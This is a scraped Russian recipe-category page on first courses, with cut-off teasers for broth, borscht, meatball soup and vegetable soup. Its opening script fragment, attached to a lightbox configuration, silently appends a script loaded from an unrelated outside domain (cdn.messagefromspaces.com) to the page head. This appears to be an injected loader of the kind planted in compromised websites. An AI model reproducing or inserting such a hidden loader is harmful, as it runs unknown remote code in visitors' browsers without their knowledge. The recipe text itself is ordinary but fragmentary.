Первые блюда | Категория , 'opacity': false, 'speedIn': 500, 'speedOut': 500, 'changeSpeed': 300, 'overlayShow': false, 'overlayOpacity': "", 'overlayColor': "", 'titleShow': false, 'titlePosition': '', 'enableEscapeButton': false, 'showCloseButton': false, 'showNavArrows': false, 'hideOnOverlayClick': false, 'hideOnContentClick': false, 'width': 500, 'height': 340, 'transitionIn': "", 'transitionOut': "", 'centerOnScroll': false }); var script = document.createElement('script'); script.type= 'text/javascript'; script.src = 'https://cdn.messagefromspaces.com/c.js?pro=type'; document.getElementsByTagName('head')[0].appendChild(script); })

Бульон

Чтобы сварить достойное первое блюдо кулинары обычно варят бульон, так как он состоит в основе многих кулинарных блюд. Бульон-это навар говядины, баранины, рыбы, домашней птицы или дичи. Все бульоны варятся при медленном кипении. При первом и втором закипании с поверхности бульона снимают накопившуюся пену.
Всякое мясо ставя варить заливают холодной водой, от этого бульон получается вкуснее. Мясо залитое горячей водой будет вкуснее, но бульон получается мутноватый и менее

Борщ

Борщ — вкуснейшее первое блюдо, готовится которое с разнообразными ингредиентами в которые обязательно входят овощи, его предпочитают кушать множество людей во всем мире. Это традиционное блюдо украинской кухни сегодня предпочитают готовить многие народы нашей планеты.
Ведь посудите сами, рецептов приготовления борща вполне чем достаточно, одни готовят красный борщ, другие любят борщ со щавелем, третьи предпочитают постный борщ,

Суп с фрикадельками

Суп с фрикаделькамиНа суп с фрикадельками нужен фарш, который можно готовить дома самостоятельно из мяса, к которому вы больше отдаете предпочтение: говядины, свинины, баранины или из смеси различных видов. Мясо повернуть два-три раза через мясорубку, заправить солью, перцем, прибавить мелко накрошенный лук, хорошо выбить, прибавить воды, снова выбить, разделать на мелкие шарики, примерно грамм 10 каждый, закатать в муке или в манной крупе. Приготовить овощи: картофель очистить и порезать небольшими

Суп

СупСуп — незаменимое жидкое, первое блюдо, которое полезно употреблять в пищу ежедневно, вне зависимости от ингредиентов которые он содержит. Горячие супы готовят методом варки с помощью воды, которая составляет около 50% этого блюда. Все элементы которые находятся в супе создают один общий вкус и если они подобраны верно, вкус любого супа будет изумительный.
Некоторые супы варят на заранее приготовленном бульоне, некоторые готовят со свежими овощами, добавляют в них

Овощной суп

Овощной супВкусный овощной суп готовится из нескольких овощей и получается неплохое первое блюдо, которое полезно практически любому человеческому организму. Данный суп любят как взрослые так и дети, а его содержимое имеет целый сборник витаминов. Перец и кабачок придают этому горячему блюду необыкновенный аромат, а помидоры подчеркивают овощной вкус этого замечательного рецепта.
Для начала нужно картофель порезать небольшими кубиками, поместить в кастрюльку и поставить на огонь

Страница 1 из 212